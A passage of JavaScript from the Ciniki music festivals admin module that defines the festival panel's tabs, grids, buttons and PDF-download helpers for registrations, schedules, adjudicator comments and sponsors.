'fn':'M.ciniki_musicfestivals_main.festival.switchTab(null,\\'categories\\');'},\n 'classes':{'label':'Classes', 'fn':'M.ciniki_musicfestivals_main.festival.switchTab(null,\\'classes\\');'},\n }},\n 'sections':{'label':'', 'type':'simplegrid', 'num_cols':2,\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'sections' && M.ciniki_musicfestivals_main.festival.sections._stabs.selected == 'sections' ? 'yes' : 'no'; },\n 'sortable':'yes',\n 'sortTypes':['text', 'number'],\n 'headerValues':['Section', 'Registrations'],\n 'addTxt':'Add Section',\n 'addFn':'M.ciniki_musicfestivals_main.section.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',0,M.ciniki_musicfestivals_main.festival.festival_id,null);',\n 'mailFn':function(s, i, d) {\n if( d != null ) {\n return 'M.ciniki_musicfestivals_main.message.addnew(\\'M.ciniki_musicfestivals_main.festival.open();\\',M.ciniki_musicfestivals_main.festival.festival_id,\\'ciniki.musicfestivals.section\\',\\'' + d.id + '\\');';\n } \n return '';\n },\n 'editFn':function(s,i,d) {\n if( d != null ) {\n return 'M.ciniki_musicfestivals_main.section.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',\\'' + d.id + '\\',M.ciniki_musicfestivals_main.festival.festival_id, M.ciniki_musicfestivals_main.festival.nplists.sections);';\n }\n return '';\n },\n },\n 'si_buttons':{'label':'', \n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'sections' && M.ciniki_musicfestivals_main.festival.sections._stabs.selected == 'sections' && M.ciniki_musicfestivals_main.festival.data.sections.length == 0 ? 'yes' : 'no'; },\n 'buttons':{\n 'copy':{'label':'Copy Previous Syllabus, Lists & Settings', \n 'fn':'M.ciniki_musicfestivals_main.festival.festivalCopy(\"previous\");',\n },\n }},\n 'categories':{'label':'', 'type':'simplegrid', 'num_cols':3,\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'sections' && M.ciniki_musicfestivals_main.festival.sections._stabs.selected == 'categories' ? 'yes' : 'no'; },\n 'sortable':'yes',\n 'sortTypes':['text', 'text', 'number'],\n 'headerValues':['Section', 'Category', 'Registrations'],\n 'addTxt':'Add Category',\n 'addFn':'M.ciniki_musicfestivals_main.category.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',0,0,M.ciniki_musicfestivals_main.festival.festival_id,null);',\n 'mailFn':function(s, i, d) {\n if( d != null ) {\n return 'M.ciniki_musicfestivals_main.message.addnew(\\'M.ciniki_musicfestivals_main.festival.open();\\',M.ciniki_musicfestivals_main.festival.festival_id,\\'ciniki.musicfestivals.category\\',\\'' + d.id + '\\');';\n } \n return '';\n },\n },\n 'classes':{'label':'', 'type':'simplegrid', 'num_cols':5,\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'sections' && M.ciniki_musicfestivals_main.festival.sections._stabs.selected == 'classes' ? 'yes' : 'no'; },\n 'sortable':'yes',\n 'sortTypes':['text', 'text', 'text', 'number', 'number'],\n 'headerValues':['Section', 'Category', 'Class', 'Fee', 'Registrations'],\n 'addTxt':'Add Class',\n 'addFn':'M.ciniki_musicfestivals_main.class.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',0,0,M.ciniki_musicfestivals_main.festival.festival_id,null);',\n 'mailFn':function(s, i, d) {\n if( d != null ) {\n return 'M.ciniki_musicfestivals_main.message.addnew(\\'M.ciniki_musicfestivals_main.festival.open();\\',M.ciniki_musicfestivals_main.festival.festival_id,\\'ciniki.musicfestivals.class\\',\\'' + d.id + '\\');';\n } \n return '';\n },\n },\n 'registration_tabs':{'label':'', 'aside':'yes', 'type':'paneltabs', 'selected':'sections',\n 'visible':function() { return ['registrations','videos'].indexOf(M.ciniki_musicfestivals_main.festival.sections._tabs.selected) >= 0 ? 'yes' : 'no'; },\n 'tabs':{\n 'sections':{'label':'Sections', 'fn':'M.ciniki_musicfestivals_main.festival.switchRegTab(\"sections\");'},\n 'teachers':{'label':'Teachers', 'fn':'M.ciniki_musicfestivals_main.festival.switchRegTab(\"teachers\");'},\n 'tags':{'label':'Tags', \n 'visible':function() { return M.modFlagSet('ciniki.musicfestivals', 0x2000); },\n 'fn':'M.ciniki_musicfestivals_main.festival.switchRegTab(\"tags\");',\n },\n }}, \n 'ipv_tabs':{'label':'', 'aside':'yes', 'type':'paneltabs', 'selected':'all',\n 'visible':function() { return (['registrations','videos'].indexOf(M.ciniki_musicfestivals_main.festival.sections._tabs.selected) >= 0 && (M.ciniki_musicfestivals_main.festival.data.flags&0x02) == 0x02) ? 'yes' : 'no'; },\n 'tabs':{\n 'all':{'label':'All', 'fn':'M.ciniki_musicfestivals_main.festival.switchLVTab(\"all\");'},\n 'inperson':{'label':'Live', 'fn':'M.ciniki_musicfestivals_main.festival.switchLVTab(\"inperson\");'},\n 'virtual':{'label':'Virtual', 'fn':'M.ciniki_musicfestivals_main.festival.switchLVTab(\"virtual\");'},\n }}, \n 'registration_sections':{'label':'', 'aside':'yes', 'type':'simplegrid', 'num_cols':1,\n 'visible':function() { return ['registrations','videos'].indexOf(M.ciniki_musicfestivals_main.festival.sections._tabs.selected) >= 0 && M.ciniki_musicfestivals_main.festival.sections.registration_tabs.selected == 'sections' ? 'yes' : 'no'; },\n 'mailFn':function(s, i, d) {\n if( d != null ) {\n return 'M.ciniki_musicfestivals_main.message.addnew(\\'M.ciniki_musicfestivals_main.festival.open();\\',M.ciniki_musicfestivals_main.festival.festival_id,\\'ciniki.musicfestivals.section\\',\\'' + d.id + '\\');';\n } \n return '';\n },\n },\n 'registration_teachers':{'label':'', 'aside':'yes', 'type':'simplegrid', 'num_cols':1,\n 'visible':function() { return ['registrations','videos'].indexOf(M.ciniki_musicfestivals_main.festival.sections._tabs.selected) >= 0 && M.ciniki_musicfestivals_main.festival.sections.registration_tabs.selected == 'teachers' ? 'yes' : 'no'; },\n 'mailFn':function(s, i, d) {\n if( d != null ) {\n return 'M.ciniki_musicfestivals_main.message.addnew(\\'M.ciniki_musicfestivals_main.festival.open();\\',M.ciniki_musicfestivals_main.festival.festival_id,\\'ciniki.musicfestivals.students\\',\\'' + d.id + '\\');';\n } \n return '';\n },\n },\n 'registration_tags':{'label':'', 'aside':'yes', 'type':'simplegrid', 'num_cols':1,\n 'visible':function() { return ['registrations','videos'].indexOf(M.ciniki_musicfestivals_main.festival.sections._tabs.selected) >= 0 && M.ciniki_musicfestivals_main.festival.sections.registration_tabs.selected == 'tags' ? 'yes' : 'no'; },\n 'mailFn':function(s, i, d) {\n if( d != null ) {\n return 'M.ciniki_musicfestivals_main.message.addnew(\\'M.ciniki_musicfestivals_main.festival.open();\\',M.ciniki_musicfestivals_main.festival.festival_id,\\'ciniki.musicfestivals.registrationtag\\',\\'' + d.name + '\\');';\n } \n return '';\n },\n },\n 'registration_buttons':{'label':'', 'aside':'yes', \n 'visible':function() {return M.ciniki_musicfestivals_main.festival.sections._tabs.selected=='registrations'?'yes':'no';},\n 'buttons':{\n 'excel':{'label':'Export to Excel', \n 'fn':'M.ciniki_musicfestivals_main.festival.downloadExcel(M.ciniki_musicfestivals_main.festival.festival_id);',\n },\n 'pdf':{'label':'Registrations PDF ', \n 'visible':function() {return M.ciniki_musicfestivals_main.festival.sections.registration_tabs.selected=='sections'?'yes':'no';},\n 'fn':'M.ciniki_musicfestivals_main.festival.downloadPDF(M.ciniki_musicfestivals_main.festival.festival_id);',\n },\n }},\n 'registration_search':{'label':'', 'type':'livesearchgrid', 'livesearchcols':5,\n 'visible':function() {return M.ciniki_musicfestivals_main.festival.sections._tabs.selected=='registrations'?'yes':'no';},\n 'hint':'Search',\n 'noData':'No registrations found',\n 'headerValues':['Class', 'Registrant', 'Teacher', 'Fee', 'Status', 'Virtual'],\n 'cellClasses':['', 'multiline', '', '', '', 'alignright'],\n },\n 'registrations':{'label':'Registrations', 'type':'simplegrid', 'num_cols':6,\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'registrations' ? 'yes' : 'no'; },\n 'headerValues':['Class', 'Registrant', 'Teacher', 'Fee', 'Status', 'Virtual'],\n 'sortable':'yes',\n 'sortTypes':['text', 'text', 'text', 'altnumber', 'altnumber', 'text'],\n 'cellClasses':['', 'multiline', '', '', '', 'alignright'],\n },\n 'registrations_emailbutton':{'label':'', \n 'visible':function() {return M.ciniki_musicfestivals_main.festival.sections._tabs.selected=='registrations' && M.ciniki_musicfestivals_main.festival.teacher_customer_id > 0 ?'yes':'no';},\n 'buttons':{\n 'email':{'label':'Email List to Teacher', 'fn':'M.ciniki_musicfestivals_main.festival.emailTeacherRegistrations();'},\n 'comments':{'label':'Download Comments PDF', 'fn':'M.ciniki_musicfestivals_main.festival.downloadTeacherComments();'},\n 'registrations':{'label':'Download Registrations PDF', 'fn':'M.ciniki_musicfestivals_main.festival.downloadTeacherRegistrations();'},\n }},\n 'schedule_sections':{'label':'Schedules', 'type':'simplegrid', 'num_cols':2, 'aside':'yes',\n// 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'schedule' ? 'yes' : 'no'; },\n 'visible':function() { return ['schedule', 'comments', 'photos'].indexOf(M.ciniki_musicfestivals_main.festival.sections._tabs.selected) >= 0 ? 'yes' : 'no'; },\n 'cellClasses':['', 'multiline alignright'],\n 'addTxt':'Unscheduled',\n 'addFn':'M.ciniki_musicfestivals_main.festival.openScheduleSection(\\'unscheduled\\',\"Unscheduled\");',\n 'changeTxt':'Add Schedule',\n 'changeFn':'M.ciniki_musicfestivals_main.schedulesection.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',0,M.ciniki_musicfestivals_main.festival.festival_id,null);',\n 'mailFn':function(s, i, d) {\n if( M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'comments' ) {\n return null;\n }\n if( M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'photos' ) {\n return null;\n }\n if( d != null ) {\n return 'M.ciniki_musicfestivals_main.message.addnew(\\'M.ciniki_musicfestivals_main.festival.open();\\',M.ciniki_musicfestivals_main.festival.festival_id,\\'ciniki.musicfestivals.schedulesection\\',\\'' + d.id + '\\');';\n } \n return '';\n },\n 'editFn':function(s, i, d) {\n if( M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'comments' ) {\n return '';\n }\n if( M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'photos' ) {\n return '';\n }\n return 'M.ciniki_musicfestivals_main.schedulesection.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',\\'' + d.id + '\\',M.ciniki_musicfestivals_main.festival.festival_id,null);';\n },\n },\n 'schedule_divisions':{'label':'Divisions', 'type':'simplegrid', 'num_cols':1, 'aside':'yes',\n 'visible':function() { return ['schedule', 'comments', 'photos'].indexOf(M.ciniki_musicfestivals_main.festival.sections._tabs.selected) >= 0 && M.ciniki_musicfestivals_main.festival.schedulesection_id>0? 'yes' : 'no'; },\n 'cellClasses':['multiline', 'multiline alignright'],\n 'addTxt':'Add Division',\n 'addFn':'M.ciniki_musicfestivals_main.scheduledivision.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',0,M.ciniki_musicfestivals_main.festival.schedulesection_id,M.ciniki_musicfestivals_main.festival.festival_id,null);',\n 'mailFn':function(s, i, d) {\n if( M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'comments' ) {\n return null;\n }\n if( M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'photos' ) {\n return null;\n }\n if( d != null ) {\n return 'M.ciniki_musicfestivals_main.message.addnew(\\'M.ciniki_musicfestivals_main.festival.open();\\',M.ciniki_musicfestivals_main.festival.festival_id,\\'ciniki.musicfestivals.scheduledivision\\',\\'' + d.id + '\\');';\n } \n return '';\n },\n 'editFn':function(s, i, d) {\n if( M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'comments' ) {\n return '';\n }\n if( M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'photos' ) {\n return '';\n }\n return 'M.ciniki_musicfestivals_main.scheduledivision.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',\\'' + d.id + '\\',M.ciniki_musicfestivals_main.festival.schedulesection_id,M.ciniki_musicfestivals_main.festival.festival_id,null);';\n },\n },\n 'program_options':{'label':'Download Program', 'aside':'yes',\n// 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'schedule' ? 'yes' : 'no'; },\n 'visible':function() { return (M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'schedule' && (M.ciniki_musicfestivals_main.festival.data.flags&0x02) == 0x02) ? 'yes' : 'no'; },\n 'fields':{\n 'ipv':{'label':'Type', 'type':'toggle', 'default':'all', \n 'visible':function() { return (M.ciniki_musicfestivals_main.festival.data.flags&0x02) == 0x02 ? 'yes' : 'no'; },\n 'toggles':{'all':'All', 'inperson':'In Person', 'virtual':'Virtual'},\n },\n }},\n 'program_buttons':{'label':'', 'aside':'yes',\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'schedule' ? 'yes' : 'no'; },\n 'buttons':{\n 'pdf':{'label':'Download Program PDF', 'fn':'M.ciniki_musicfestivals_main.festival.downloadProgramPDF();'},\n }},\n 'schedule_download':{'label':'Schedule PDF', 'aside':'yes',\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'schedule' && M.ciniki_musicfestivals_main.festival.schedulesection_id>0? 'yes' : 'no'; },\n 'fields':{\n 'names':{'label':'Full Names', 'type':'toggle', 'default':'public', 'toggles':{'public':'No', 'private':'Yes'}},\n 's_titles':{'label':'Titles', 'type':'toggle', 'default':'yes', 'toggles':{'no':'No', 'yes':'Yes'}},\n 's_ipv':{'label':'Type', 'type':'toggle', 'default':'all', \n 'visible':function() { return (M.ciniki_musicfestivals_main.festival.data.flags&0x02) == 0x02 ? 'yes' : 'no'; },\n 'toggles':{'all':'All', 'inperson':'In Person', 'virtual':'Virtual'},\n },\n 'footerdate':{'label':'Footer Date', 'type':'toggle', 'default':'yes', 'toggles':{'no':'No', 'yes':'Yes'}},\n }},\n 'schedule_buttons':{'label':'', 'aside':'yes',\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'schedule' && M.ciniki_musicfestivals_main.festival.schedulesection_id>0? 'yes' : 'no'; },\n 'buttons':{\n 'pdf':{'label':'Download Schedule PDF', 'fn':'M.ciniki_musicfestivals_main.festival.downloadSchedulePDF();'},\n 'certs':{'label':'Certificates PDF', 'fn':'M.ciniki_musicfestivals_main.festival.downloadCertificatesPDF();'},\n 'comments':{'label':'Adjudicators Comments PDF', 'fn':'M.ciniki_musicfestivals_main.festival.downloadCommentsPDF();'},\n }},\n 'schedule_timeslots':{'label':'Time Slots', 'type':'simplegrid', 'num_cols':2, \n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'schedule' && M.ciniki_musicfestivals_main.festival.schedulesection_id>0 && M.ciniki_musicfestivals_main.festival.scheduledivision_id>0 ? 'yes' : 'no'; },\n 'cellClasses':['label multiline', 'multiline', 'fabuttons'],\n 'addTxt':'Add Time Slot',\n 'addFn':'M.ciniki_musicfestivals_main.scheduletimeslot.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',0,M.ciniki_musicfestivals_main.festival.scheduledivision_id,M.ciniki_musicfestivals_main.festival.festival_id,null);',\n },\n 'timeslot_photos':{'label':'Time Slots', 'type':'simplegrid', 'num_cols':3,\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'photos' && M.ciniki_musicfestivals_main.festival.schedulesection_id>0 && M.ciniki_musicfestivals_main.festival.scheduledivision_id>0 ? 'yes' : 'no'; },\n 'cellClasses':['multiline', 'thumbnails', 'alignright fabuttons'],\n },\n 'timeslot_comments':{'label':'Time Slots', 'type':'simplegrid', 'num_cols':5, \n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'comments' && M.ciniki_musicfestivals_main.festival.schedulesection_id>0 && M.ciniki_musicfestivals_main.festival.scheduledivision_id>0 ? 'yes' : 'no'; },\n 'headerValues':['Time', 'Name', '', '', ''],\n 'headerClasses':['', '', 'aligncenter', 'aligncenter', 'aligncenter'],\n 'cellClasses':['', '', 'aligncenter', 'aligncenter', 'aligncenter'],\n },\n 'unscheduled_registrations':{'label':'Unscheduled', 'type':'simplegrid', 'num_cols':3,\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'schedule' && M.ciniki_musicfestivals_main.festival.schedulesection_id == 'unscheduled' ? 'yes' : 'no'; },\n 'headerValues':['Class', 'Registrant', 'Status'],\n 'sortable':'yes',\n 'sortTypes':['text', 'text', 'text'],\n 'cellClasses':['', 'multiline', ''],\n },\n 'video_search':{'label':'', 'type':'livesearchgrid', 'livesearchcols':5,\n 'visible':function() {return M.ciniki_musicfestivals_main.festival.sections._tabs.selected=='videos'?'yes':'no';},\n 'hint':'Search',\n 'noData':'No registrations found',\n 'headerValues':['Class', 'Registrant', 'Video Link', 'PDF', 'Status'],\n 'cellClasses':['', '', '', '', ''],\n },\n 'videos':{'label':'Registrations', 'type':'simplegrid', 'num_cols':5,\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'videos' ? 'yes' : 'no'; },\n 'headerValues':['Class', 'Registrant', 'Video Link', 'PDF', 'Status', ''],\n 'sortable':'yes',\n 'sortTypes':['text', 'text', 'text', 'text', 'altnumber', ''],\n 'cellClasses':['', 'multiline', '', '', '', 'alignright'],\n// 'addTxt':'Add Registration',\n// 'addFn':'M.ciniki_musicfestivals_main.registration.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',0,0,0,M.ciniki_musicfestivals_main.festival.festival_id,null);',\n },\n 'competitor_tabs':{'label':'', 'aside':'yes', 'type':'paneltabs', 'selected':'cities',\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'competitors' ? 'yes' : 'no'; },\n 'tabs':{\n 'cities':{'label':'Cities', 'fn':'M.ciniki_musicfestivals_main.festival.switchCompTab(\"cities\");'},\n 'provinces':{'label':'Provinces', 'fn':'M.ciniki_musicfestivals_main.festival.switchCompTab(\"provinces\");'},\n }}, \n 'competitor_cities':{'label':'', 'type':'simplegrid', 'num_cols':1, 'aside':'yes',\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'competitors' && M.ciniki_musicfestivals_main.festival.sections.competitor_tabs.selected == 'cities' ? 'yes' : 'no'; },\n 'editFn':function(s, i, d) {\n if( d.city != null && d.province != null ) {\n return 'M.ciniki_musicfestivals_main.editcityprov.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',\\'' + escape(d.city) + '\\',\\'' + escape(d.province) + '\\');';\n }\n return '';\n },\n },\n 'competitor_provinces':{'label':'', 'type':'simplegrid', 'num_cols':1, 'aside':'yes',\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'competitors' && M.ciniki_musicfestivals_main.festival.sections.competitor_tabs.selected == 'provinces' ? 'yes' : 'no'; },\n 'editFn':function(s, i, d) {\n if( d.province != null ) {\n return 'M.ciniki_musicfestivals_main.editcityprov.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',null,\\'' + escape(d.province) + '\\');';\n }\n return '';\n },\n },\n 'competitors':{'label':'', 'type':'simplegrid', 'num_cols':3,\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'competitors' ? 'yes' : 'no'; },\n 'headerValues':['Name', 'Classes', 'Waiver'],\n },\n 'lists':{'label':'Lists', 'type':'simplegrid', 'num_cols':1, 'aside':'yes',\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.isSelected('more', 'lists'); },\n 'addTxt':'Add List',\n 'addFn':'M.ciniki_musicfestivals_main.list.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',0,M.ciniki_musicfestivals_main.festival.festival_id,null);',\n 'editFn':function(s, i, d) {\n return 'M.ciniki_musicfestivals_main.list.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',\\'' + d.id + '\\',M.ciniki_musicfestivals_main.festival.festival_id,null);';\n },\n },\n 'listsections':{'label':'Sections', 'type':'simplegrid', 'num_cols':1, 'aside':'yes',\n 'visible':function() { return (M.ciniki_musicfestivals_main.festival.isSelected('more', 'lists') == 'yes' && M.ciniki_musicfestivals_main.festival.list_id > 0) ? 'yes' : 'no'; },\n 'addTxt':'Add Section',\n 'addFn':'M.ciniki_musicfestivals_main.listsection.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',0,M.ciniki_musicfestivals_main.festival.list_id,null);',\n 'editFn':function(s, i, d) {\n return 'M.ciniki_musicfestivals_main.listsection.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',\\'' + d.id + '\\',M.ciniki_musicfestivals_main.festival.list_id,null);';\n },\n },\n 'listentries':{'label':'Sections', 'type':'simplegrid', 'num_cols':4, \n 'visible':function() { return (M.ciniki_musicfestivals_main.festival.isSelected('more', 'lists') == 'yes' && M.ciniki_musicfestivals_main.festival.listsection_id > 0) ? 'yes' : 'no'; },\n 'headerValues':['Award', 'Amount', 'Donor', 'Winner'],\n 'addTxt':'Add Entry',\n 'addFn':'M.ciniki_musicfestivals_main.listentry.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',0,M.ciniki_musicfestivals_main.festival.listsection_id,null);',\n 'seqDrop':function(e,from,to) {\n M.api.getJSONCb('ciniki.musicfestivals.festivalGet', {'tnid':M.curTenantID, \n 'action':'listentrysequenceupdate',\n 'festival_id':M.ciniki_musicfestivals_main.festival.festival_id,\n 'lists':'yes',\n 'list_id':M.ciniki_musicfestivals_main.festival.list_id,\n 'listsection_id':M.ciniki_musicfestivals_main.festival.listsection_id,\n 'entry_id':M.ciniki_musicfestivals_main.festival.data.listentries[from].id, \n 'sequence':M.ciniki_musicfestivals_main.festival.data.listentries[to].sequence, \n }, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n var p = M.ciniki_musicfestivals_main.festival;\n p.data.listentries = rsp.festival.listentries;\n p.refreshSection(\"listentries\");\n });\n },\n },\n 'invoice_statuses':{'label':'Status', 'type':'simplegrid', 'num_cols':1, 'aside':'yes',\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.isSelected('more', 'invoices'); },\n },\n 'invoices':{'label':'Invoices', 'type':'simplegrid', 'num_cols':6,\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.isSelected('more', 'invoices'); },\n 'headerValues':['#', 'Customer', 'Students', 'Total', 'Status'],\n 'noData':'No invoices',\n 'sortable':'yes',\n 'sortTypes':['number', 'text', 'text', 'number', 'text', ''],\n },\n 'adjudicators':{'label':'', 'type':'simplegrid', 'num_cols':1,\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.isSelected('more', 'adjudicators'); },\n 'addTxt':'Add Adjudicator',\n 'addFn':'M.ciniki_musicfestivals_main.adjudicator.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',0,0,M.ciniki_musicfestivals_main.festival.festival_id,null);',\n },\n 'files':{'label':'', 'type':'simplegrid', 'num_cols':2,\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.isSelected('more', 'files'); },\n 'addTxt':'Add File',\n 'addFn':'M.ciniki_musicfestivals_main.addfile.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',M.ciniki_musicfestivals_main.festival.festival_id);',\n },\n 'certificates':{'label':'', 'type':'simplegrid', 'num_cols':1,\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.isSelected('more', 'certificates'); },\n 'headerValues':['Name', 'Section', 'Min Score'],\n 'addTxt':'Add Certificate',\n 'addFn':'M.ciniki_musicfestivals_main.certificate.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',0,M.ciniki_musicfestivals_main.festival.festival_id);',\n },\n 'lists':{'label':'Lists', 'type':'simplegrid', 'num_cols':1, 'aside':'yes',\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.isSelected('more', 'lists'); },\n 'addTxt':'Add List',\n 'addFn':'M.ciniki_musicfestivals_main.list.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',0,M.ciniki_musicfestivals_main.festival.festival_id,null);',\n 'editFn':function(s, i, d) {\n return 'M.ciniki_musicfestivals_main.list.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',\\'' + d.id + '\\',M.ciniki_musicfestivals_main.festival.festival_id,null);';\n },\n },\n 'message_statuses':{'label':'', 'type':'simplegrid', 'aside':'yes', 'num_cols':1,\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.isSelected('messages', ''); },\n },\n 'message_buttons':{'label':'', 'aside':'yes', \n 'visible':function() { return M.ciniki_musicfestivals_main.festival.isSelected('messages', ''); },\n 'buttons':{\n 'add':{'label':'Add Message', 'fn':'M.ciniki_musicfestivals_main.message.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',0,M.ciniki_musicfestivals_main.festival.festival_id);'},\n }},\n 'messages':{'label':'', 'type':'simplegrid', 'num_cols':2,\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.isSelected('messages', ''); },\n 'headerValues':['Subject', 'Date'],\n 'noData':'No Messages',\n },\n 'emails_tabs':{'label':'', 'aside':'yes', 'type':'paneltabs', 'selected':'all',\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.isSelected('more', 'emails'); },\n 'tabs':{\n 'all':{'label':'All', 'fn':'M.ciniki_musicfestivals_main.festival.switchEmailsTab(\"all\");'},\n 'teachers':{'label':'Teachers', 'fn':'M.ciniki_musicfestivals_main.festival.switchEmailsTab(\"teachers\");'},\n 'competitors':{'label':'Competitors', 'fn':'M.ciniki_musicfestivals_main.festival.switchEmailsTab(\"competitors\");'},\n }}, \n 'emails_sections':{'label':'Sections', 'aside':'yes', 'type':'simplegrid', 'num_cols':1,\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.isSelected('more', 'emails'); },\n },\n 'emails_html':{'label':'Emails', 'type':'html', \n 'visible':function() { return M.ciniki_musicfestivals_main.festival.isSelected('more', 'emails'); },\n },\n 'sponsors':{'label':'', 'type':'simplegrid', 'num_cols':2,\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.isSelected('more', 'sponsors'); },\n 'headerValues':['Name', 'Level'],\n 'addTxt':'Add Sponsor',\n 'addFn':'M.ciniki_musicfestivals_main.sponsor.open(\\'M.ciniki_musicfestivals_main.festival.open();\\',0,M.ciniki_musicfestivals_main.festival.festival_id);',\n },\n 'sponsors-old':{'label':'', 'type':'simplegrid', 'num_cols':1,\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.isSelected('more', 'sponsors-old'); },\n 'addTxt':'Manage Sponsors',\n 'addFn':'M.startApp(\\'ciniki.sponsors.ref\\',null,\\'M.ciniki_musicfestivals_main.festival.open();\\',\\'mc\\',{\\'object\\':\\'ciniki.musicfestivals.festival\\',\\'object_id\\':M.ciniki_musicfestivals_main.festival.festival_id});',\n },\n }\n this.festival.isSelected = function(t, m) {\n if( this.sections._tabs.selected == t ) {\n if( t == 'more' ) {\n return this.sections._moretabs.selected == m ? 'yes' : 'no';\n }\n return 'yes';\n }\n return 'no';\n }\n this.festival.sectionData = function(s) {\n if( s == 'videos' ) {\n return this.data.registrations;\n }\n return M.panel.prototype.sectionData.call(this, s);\n }\n this.festival.downloadProgramPDF = function() {\n var args = {\n 'tnid':M.curTenantID, \n 'festival_id':this.festival_id, \n 'ipv':this.formValue('ipv'),\n };\n M.api.openPDF('ciniki.musicfestivals.programPDF',args);\n }\n this.festival.downloadSchedulePDF = function() {\n var args = {'tnid':M.curTenantID,\n 'festival_id':this.festival_id,\n 'schedulesection_id':this.schedulesection_id,\n 'names':this.formValue('names'),\n 'ipv':this.formValue('s_ipv'),\n 'titles':this.formValue('s_titles'),\n 'footerdate':this.formValue('footerdate'),\n };\n M.api.openPDF('ciniki.musicfestivals.schedulePDF',args);\n }\n this.festival.downloadCertificatesPDF = function() {\n var args = {'tnid':M.curTenantID,\n 'festival_id':this.festival_id,\n 'schedulesection_id':this.schedulesection_id,\n 'ipv':this.formValue('s_ipv'),\n };\n M.api.openFile('ciniki.musicfestivals.certificatesPDF',args);\n }\n this.festival.downloadCommentsPDF = function() {\n var args = {'tnid':M.curTenantID,\n 'festival_id':this.festival_id,\n 'schedulesection_id':this.schedulesection_id,\n 'ipv':this.formValue('s_ipv'),\n };\n M.api.openPDF('ciniki.musicfestivals.commentsPDF',args);\n }\n this.festival.downloadTeacherComments = function() {\n var args = {'tnid':M.curTenantID,\n 'festival_id':this.festival_id,\n 'teacher_customer_id':this.teacher_customer_id,\n };\n M.api.openPDF('ciniki.musicfestivals.commentsPDF',args);\n }\n this.festival.downloadTeacherRegistrations = function() {\n var args = {'tnid':M.curTenantID,\n 'festival_id':this.festival_id,\n 'teacher_customer_id':this.teacher_customer_id,\n };\n M.api.openPDF('ciniki.musicfestivals.teacherRegistrationsPDF',args);\n }\n this.festival.listLabel = function(s, i, d) { \n if( s == 'details' ) {\n return d.label; \n }\n return '';\n }\n this.festival.listValue = function(s, i, d) { \n if( s == 'details' ) {\n return this.data[i]; \n }\n if( s == '_more' ) {\n return d.label;\n }\n }\n this.festival.fieldValue = function(s, i, d) { \n if( this.data[i] == null ) { return ''; }\n return this.data[i]; \n }\n this.festival.liveSearchCb = function(s, i, v) {\n if( s == 'syllabus_search' && v != '' ) {\n M.api.getJSONBgCb('ciniki.musicfestivals.syllabusSearch', {'tnid':M.curTenantID, 'start_needle':v, 'festival_id':this.festival_id, 'limit':'50'}, function(rsp) {\n M.ciniki_musicfestivals_main.festival.liveSearchShow(s,null,M.gE(M.ciniki_musicfestivals_main.festival.panelUID + '_' + s), rsp.classes);\n if( 